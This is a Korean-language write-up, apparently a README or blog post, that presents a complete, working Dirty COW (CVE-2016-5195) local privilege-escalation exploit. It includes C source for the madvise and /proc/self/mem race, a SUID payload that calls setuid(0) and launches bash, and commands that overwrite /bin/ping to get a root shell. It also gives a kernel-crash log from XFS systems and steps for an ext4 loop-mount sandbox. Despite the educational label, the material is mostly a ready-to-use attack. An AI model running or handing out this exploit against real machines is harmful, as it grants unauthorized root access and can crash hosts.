
교육용으로 구현된 Dirty COW(CVE-2016-5195) 권한 상승 익스플로잇으로, 레이스 컨디션 페이로드와 Linux 시스템용 SUID 기반 루트 셸 권한 상승을 포함합니다.
기록은 학습 목적으로만 사용하며, 불법적인 용도로 사용하는 것을 금지합니다
이 취약점의 원리는 동시성(Concurrency)을 이용해 더티 페이지(Dirty Page)를 플러시(Flush)하여, 원래 읽기 전용 권한인 파일의 내용이 변경되도록 하는 것입니다
만약 수정된 파일이 root 소유이고 SUID 권한을 가지고 있다면, 이를 이용해 권한 상승(Privilege Escalation)을 수행할 수 있습니다
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// 파일에서 읽은 Payload 내용과 크기를 저장하는 데 사용
char *payload_buf;
size_t payload_size;
// 스레드 B: madvise를 반복 호출하여 커널에 해당 메모리 페이지를 버리라고 지시
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise 스레드 종료\n");
return NULL;
}
// 스레드 A: /proc/self/mem을 통해 읽기 전용 매핑 영역에 데이터를 지속적으로 기록
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// 메모리의 Payload 버퍼를 기록
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem 스레드 종료\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("사용법: %s <읽기 전용 대상 파일> <Payload 입력 파일>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload 파일을 열고 내용을 메모리로 읽어옴
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload 파일 열기 실패");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload 파일이 비어 있습니다\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload 파일 읽기 실패");
return 1;
}
close(pf);
printf("[*] Payload 파일 로드 성공: %s (크기: %zu 바이트)\n", payload_file, payload_size);
// 대상 파일 매핑
f = open(name, O_RDONLY);
if (f < 0) {
perror("대상 파일 열기 실패");
return 1;
}
fstat(f, &st);
// Payload 길이가 대상 파일 길이보다 크지 않도록 방지
if (payload_size > st.st_size) {
printf("[!] 경고: Payload 크기 (%zu)가 대상 파일 크기 (%zu)보다 큽니다.\n", payload_size, st.st_size);
printf("[!] Dirty COW의 제자리 덮어쓰기 특성상, 대상 파일 크기를 초과하는 부분은 파일 시스템에 의해 잘려서 버려집니다!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] 대상 파일 매핑 주소: %p\n", map);
// 조건 경쟁(Race Condition) 시작
pthread_t pth1, pth2;
printf("[*] 조건 경쟁(Race Condition) 시작...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] 경쟁 종료, %s의 내용을 확인하세요.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// root 신분 복원
setuid(0);
setgid(0);
// root bash 실행
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# 자신의 환경은 원본 ping을 백업해야 함
cp /bin/ping ./ping
# 권한 상승 수행
./d /bin/ping ./up
# 이후 root 사용자의 명령줄 터미널 프롬프트가 나타남
위 단계는 Ubuntu 및 Debian 등 기본적으로 Ext 파일 시스템을 사용하는 배포판에서 권한 상승에 성공합니다. 그 이유는 Ext 파일 시스템이 더티 페이지 읽기/쓰기 권한 검증을 비교적 느슨하게 하기 때문입니다 반면 Red Hat 계열처럼 기본적으로 XFS 파일 시스템을 사용하는 배포판에서는 DDos 공격이 되어 더티 페이지 검증 어서션(Assertion)이 트리거되어 시스템이 재부팅됩니다 크래시 이미지 OCR 개요:
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages
상세 로그:
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307] cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>] [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948 EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS: 0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404] 000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405] ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406] ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412] [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414] [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415] [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425] [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427] [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435] [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437] [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439] [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440] [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441] [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443] [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445] [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446] [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449] [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450] [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451] [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452] [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456] [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f
[ 6212.157469] RIP [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474] RSP <ffff88003dd63948>
만약 정말 Red Hat 계열 환경(예: CentOS 7)만 있고 꼭 시도해보고 싶다면, 수동으로 Ext 파일 시스템을 생성하여 권한 상승을 시뮬레이션할 수 있습니다
# 32MB의 0으로 채워진 파일 생성 (가상 디스크로 사용)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# 이 파일을 Ext4 파일 시스템으로 포맷
mkfs.ext4 /tmp/ext4_test.img
# 마운트 포인트 디렉토리 생성
mkdir -p /tmp/ext4_mount
# loop 디바이스를 사용하여 가상 디스크 파일을 디렉토리에 마운트 (root 권한 필요)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# 마운트 성공 여부 확인
df -T -h | grep ext4_mount
# ping 프로그램을 샌드박스 파티션에 복사
sudo cp /bin/ping /tmp/ext4_mount/
# root 소유자 및 SUID 권한 부여 (4755는 rwsr-xr-x를 의미)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# 권한이 올바르게 설정되었는지 확인
ls -la /tmp/ext4_mount/ping
gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# 경쟁 종료 후, 샌드박스의 ping을 실행하여 root shell 실행
/tmp/ext4_mount/ping
정리 로직 첨부
# 파티션 마운트 해제
sudo umount /tmp/ext4_mount
# 마운트 포인트 및 가상 디스크 파일 삭제
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img